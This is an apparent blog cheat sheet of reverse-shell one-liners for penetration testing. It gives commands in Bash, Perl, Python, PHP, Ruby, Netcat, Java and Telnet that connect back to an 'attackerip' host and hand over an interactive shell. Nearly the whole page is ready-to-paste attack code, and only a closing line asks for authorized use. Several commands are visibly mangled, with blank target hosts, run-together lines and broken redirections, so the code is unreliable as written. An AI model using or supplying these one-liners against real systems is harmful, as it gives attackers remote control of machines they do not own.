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Reverse Shell Cheat Sheet - Essential One-Liners for Penetration Testing

Unlocking the Power of Reverse Shells - Essential Techniques for Penetration Testing

10 Apr 2020
10-12 min read


In the realm of penetration testing, a reverse shell can be a crucial tool. If you’re fortunate enough to discover a command execution vulnerability during a penetration test, you’ll likely want an interactive shell soon after. If adding a new account, SSH key, or .rhosts file and logging in isn’t possible, your next step is probably to throw back a reverse shell or bind a shell to a TCP port. This guide focuses on the former.

Reverse Shell Techniques

The options for creating a reverse shell are limited by the scripting languages installed on the target system. However, you could also upload a binary program if you’re well-prepared. The examples shown are tailored to Unix-like systems. Some of the examples should also work on Windows if you substitute “/bin/sh -i” with “cmd.exe”. Each method aims to be a one-liner that you can copy/paste. They’re quite short lines, but not very readable.

Creating a Reverse Shell with Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 18.04)

bash -i >& /dev/tcp/ 0>&1


exec /bin/bash 0&0 2>&0


0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196


exec 5<>/dev/tcp/attackerip/4444cat <&5 | while read line; do $line 2>&5 >&5; done


while read line 0<&5; do $line 2>&5 >&5; done

Creating a Reverse Shell with Perl

Here’s a short, feature-free version that depends on /bin/sh:

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Creating a Reverse Shell with Python

This was tested under Linux / Python 2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Creating a Reverse Shell with PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on the most tested system. If it doesn't work, try 4, 5, 6…

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Creating a Reverse Shell with Ruby

Short version that depends on /bin/sh:

ruby -rsocket -e'f=TCPSocket.open("",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Creating a Reverse Shell with Netcat

Netcat is rarely present on production systems and even if it is there are several versions of Netcat, some of which don’t support the -e option.

nc -e /bin/sh 1234

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

nc -c /bin/sh attackerip 4444


/bin/sh | nc attackerip 4444


rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

Creating a Reverse Shell with Java

Always present when you need it, the "Java" language can also be a very good solution to establish a reverse shell.

r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

Creating a Reverse Shell with Telnet

Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p &&&& telnet attackerip 4444 0/tmp/p


telnet attackerip 4444 | /bin/bash | telnet attackerip 4445


In this tutorial, we explored various methods for creating reverse shells during penetration tests. We covered examples in different scripting languages, including Bash, Perl, Python, PHP, Ruby, Netcat, Java, and even Telnet. These one-liners allow you to establish an interactive shell on the target system, even when adding new accounts or SSH keys isn’t feasible.

Remember to use these techniques responsibly and only in authorized scenarios. Always obtain proper permissions before attempting any penetration testing activities. Happy hacking!

Nicolas C.
Created by
Nicolas C.

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